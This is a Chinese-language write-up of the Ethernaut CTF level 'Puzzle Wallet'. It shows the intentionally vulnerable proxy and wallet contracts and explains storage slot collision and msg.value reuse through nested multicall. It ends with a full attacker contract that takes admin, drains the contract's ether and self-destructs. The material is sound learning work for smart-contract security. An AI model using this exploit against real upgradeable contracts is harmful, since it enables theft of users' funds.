24.Puzzle Wallet
2023-07-17 22:13:00 # 04.Ethernaut CTF

Puzzle Wallet

题目

要求:成为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

分析

这道题是有关于代理的,先来看看合约分别干啥:

  • PuzzleProxy
    • 代理合约,题目给我们的instance也是这个
    • 我们和这个合约交互,可以调用它本合约中有的方法,如果没有的方法会走到继承的父类的fallback,里面有delegatecall方法来去到实现类进行调用,也就是PuzzleWallet合约
  • PuzzleWallet
    • slot冲突
    • multicall()方法存在漏洞

1.成为owner

任何人都可以调用下面的方法设置pendingAdmin的值,也就是slot 0 的值,在PuzzleWallet合约中也就是修改了owner的值

1
2
3
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

2.成为admin

要修改admin的值,也就是修改maxBalance的值。而能修改maxBalance的地方只有setMaxBalance()。有个onlyWhitelisted限制,因为我们已经是owner了,所以我们可以用addToWhitelist()将自己加入白名单。

1
2
3
4
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

只要我们将参数_maxBalance设置为我们的地址,然后调用成功就能修改admin了。但是有个条件,需要我们将Proxy合约的余额设置为0。

取钱的地方只有execute()。但是按照正常逻辑deposit()然后execute()取钱是无法将合约余额置为0的,因为我们只能取出属于我们的那一部分,存多少拿多少。

1
2
3
4
5
6
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

Proxy合约为了用户可以将多个操作一次性执行完毕来节省gas,它在实现类里面写了一个批处理方法。要求我们传入一个bytes数组,里面要存放函数选择器,然后会解码出选择器并跟proxy和实现类合约进行比较,找到匹配的方法然后执行。接下来详细分析这个方法:

  • 参数depositCalled:用于防止for loop + msg.value用一份钱来存多次记录金额。
  • for循环:data是动态数组,有多少个函数选择器就执行几次
  • selector := mload(add(_data, 32)):根据abi编码中动态数组的规则,跳过offset,取32字节的实际数据。因为selector是4字节,取高4字节的数据,因为bytes是高位开始编码的,因此这里就取到了我们设置的函数选择器。
  • if (selector == this.deposit.selector):之前调用过deposit()就不可以再次调用,用于防止for loop + msg.value用一份钱来存多次记录金额。
  • address(this).delegatecall(data[i]);:delegatecall+代理调用匹配到的方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}

编写合约的人已经意识到msg.value在循环中可能会被利用进行多次deposit,但是他考虑还是欠佳,这里还是存在漏洞的:bytes数组允许执行多个方法,那么我们可以这么操作:

  • bytes[0]:调用deposit(),这时就记录下来deposit()已经调用过,因此后续不可以再在这个上下文执行deposit(),注意是这个上下文
  • bytes[1]:调用multicall(),也就是说我们在调用multicall()的时候,再次调用multicall()。这就是神奇的地方了:当address(this).delegatecall(data[i]);:执行到这里的时候,会打开一下新的上下文,此时那个上下文还没调用过deposit()

为此我们构造bytes数组的内容:

  • bytes[0]:其实这里无论是encode,encodePacked还是怎么样都可以,因为是只取高4字节数据,并且是动态变长数组
1
abi.encodeWithSelector(level.deposit.selector);
  • bytes[1]:为什么data[1]第二个参数要写成deposit_data,而不一样写成level.deposit.selector的形式呢?因为在level.multicall.selector在解析为函数选择器来进行匹配进行再次multicall()执行的时候,第二个参数的内容就会作为multicall()的形参,因此也符合abi编码规范。而这个规范不是说直接abi.encodeWithSelector就可以的,要包装成一个bytes[]才行。因此需要传入一个bytes[],也就是deposit_data。
1
2
3
4
5
6
7
8
bytes[] memory deposit_data = new bytes[](1);
deposit_data[0] = abi.encodeWithSelector(level.deposit.selector);

bytes[] memory data = new bytes[](2);
// 设置bytes[0]
data[0] = deposit_data[0];
// 设置bytes[1]
data[1] = abi.encodeWithSelector(level.multicall.selector,deposit_data);

假设我们deposit金额为0.001ether。构造好之后,攻击的逻辑是:第一次调用deposit()时记录了balances[msg.sender]增加了0.001ether。第二次调用deposit的时候,一份msg.value重复使用,balances[msg.sender]又增加了0.001ether。此时结果为:合约中拥有题目部署时候的0.001ether+我们存入的0.001ether,即0.002ether。

此时我们就可以调用execute()取出0.002ether,使得合约余额为0,可以调用setMaxBalance设置maxBalance的值,也就是可以设置slot 1所在变量admin的值,设置为我们的EOA地址即可。

1
2
3
4
5
6
7
8
9
10
11
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.8.0;

interface IPuzzleProxy {
function admin() external view returns(address);
function proposeNewAdmin(address) external;
function addToWhitelist(address) external;
function deposit() external payable ;
function multicall(bytes[] calldata) external payable ;
function execute(address,uint256,bytes calldata) external payable ;
function setMaxBalance(uint256) external;
}

contract attacker{
// msg.value = 1000000000000000 wei = 0.001 ether
constructor(IPuzzleProxy level) payable {
level.proposeNewAdmin(address(this));
level.addToWhitelist(address(this));

bytes[] memory deposit_data = new bytes[](1);
deposit_data[0] = abi.encodeWithSelector(level.deposit.selector);

bytes[] memory data = new bytes[](2);
data[0] = deposit_data[0];
data[1] = abi.encodeWithSelector(level.multicall.selector,deposit_data);
level.multicall{value:0.001 ether}(data);

level.execute(msg.sender, 0.002 ether, "");
level.setMaxBalance(uint256(uint160(msg.sender)));

selfdestruct(payable(msg.sender));
}
}